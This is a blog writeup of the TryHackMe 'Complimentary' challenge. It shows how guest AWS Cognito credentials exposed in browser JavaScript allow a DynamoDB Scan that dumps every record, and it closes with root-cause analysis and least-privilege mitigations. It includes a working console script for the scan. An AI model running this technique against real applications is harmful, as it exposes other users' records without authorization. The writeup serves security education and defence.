Post

Complimentary thm — TryHackMe Writeup

Complimentary thm — TryHackMe Writeup

Byte Lotus Wellness – Cognito Guest Credentials & DynamoDB IAM Misconfiguration

Overview

During this challenge, I encountered a web application called Byte Lotus Wellness. The application was designed to allow anonymous visitors to view their wellness profile without creating an account. Instead of traditional authentication, it relied on AWS Cognito Identity Pools to provide temporary guest credentials.

At first glance, the application appeared to retrieve only the current visitor’s profile from a DynamoDB table. However, further analysis revealed that the guest IAM role had been granted broader permissions than intended, allowing complete enumeration of the table.


Initial Reconnaissance

Inspecting the client-side JavaScript revealed several interesting details:

1
2
3
const IDENTITY_POOL_ID = "us-east-1:836c0949-292d-485b-b532-52d5ca7bb688";
const AWS_REGION = "us-east-1";
const TABLE_NAME = "complimentary-GuestWellnessProfiles";

The application initialized AWS Cognito guest credentials directly in the browser:

1
2
3
AWS.config.credentials = new AWS.CognitoIdentityCredentials({
    IdentityPoolId: IDENTITY_POOL_ID,
});

The dashboard loaded profile information using DynamoDB’s GetItem operation:

1
2
3
4
5
6
7
8
dynamodb.getItem({
    TableName: TABLE_NAME,
    Key: {
        guest_id: {
            S: guestId()
        }
    }
});

A guest identifier was generated locally and stored in the browser’s Local Storage.

1
guest-xxxxxxxx

Initially, it appeared that each visitor could only access their own record.


Inspecting Guest Credentials

Opening the browser developer console exposed the temporary Cognito credentials.

1
AWS.config.credentials

The object contained:

  • Access Key ID
  • Secret Access Key
  • Session Token
  • Identity ID
  • Expiration Time

This confirmed that every anonymous visitor received temporary AWS credentials.


Looking Beyond the Frontend

The frontend used GetItem, but that does not necessarily mean the IAM policy only allows GetItem.

Since the AWS SDK exposes multiple DynamoDB APIs, I decided to determine whether the guest role possessed additional permissions.

The most interesting candidate was:

1
dynamodb.scan()

Unlike GetItem, which requires an exact primary key, Scan iterates through every item in a DynamoDB table.


Enumerating the Table

Executing the following code from the browser console successfully returned every record stored in the table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
AWS.config.credentials.get(function (err) {
    if (err) {
        console.error(err);
        return;
    }

    const dynamodb = new AWS.DynamoDB({
        region: "us-east-1"
    });

    dynamodb.scan({
        TableName: "complimentary-GuestWellnessProfiles"
    }, function (err, data) {
        if (err) {
            console.error(err);
            return;
        }

        console.log(data);
    });
});

The response contained all items rather than only the current guest profile.

Among the returned records was the challenge flag.


Root Cause

The application assumed that users would only invoke the client-side GetItem request.

However, authorization decisions in AWS are controlled by IAM, not by JavaScript.

The anonymous Cognito role had permission to perform a DynamoDB Scan operation, allowing any visitor to enumerate the table.

This resulted in a classic case of overly permissive IAM permissions.


Impact

Granting anonymous users the ability to perform Scan effectively bypasses the application’s intended access model.

Potential consequences include:

  • Disclosure of every record in the table
  • Exposure of confidential user information
  • Enumeration of internal identifiers
  • Leakage of sensitive application data
  • Complete loss of data confidentiality

In this challenge, it directly exposed the hidden flag.


Mitigation

A secure implementation should follow the principle of least privilege.

Recommended improvements include:

  • Grant only the minimum DynamoDB permissions required.
  • Avoid allowing anonymous users to perform Scan.
  • Restrict access using IAM conditions tied to the caller’s identity.
  • Move sensitive database operations to a backend API instead of exposing DynamoDB directly to clients.
  • Validate authorization server-side instead of relying on frontend logic.

Lessons Learned

This challenge demonstrates an important cloud security principle:

Client-side JavaScript does not define security boundaries.

Even though the application only called GetItem, the underlying IAM policy ultimately determined what operations were permitted.

Whenever AWS credentials are exposed to the client, it is essential to verify the permissions attached to those credentials. A single overly permissive action such as dynamodb:Scan can completely undermine the application’s intended authorization model.


Conclusion

This challenge highlighted how seemingly harmless guest credentials can become a serious security issue when paired with an overly permissive IAM policy.

The frontend appeared secure because it only retrieved a single record, yet the guest role itself was capable of enumerating the entire DynamoDB table. This reinforces a fundamental cloud security lesson: authorization must always be enforced through properly scoped IAM policies, not through assumptions made in client-side code.

This post is licensed under CC BY 4.0 by the author.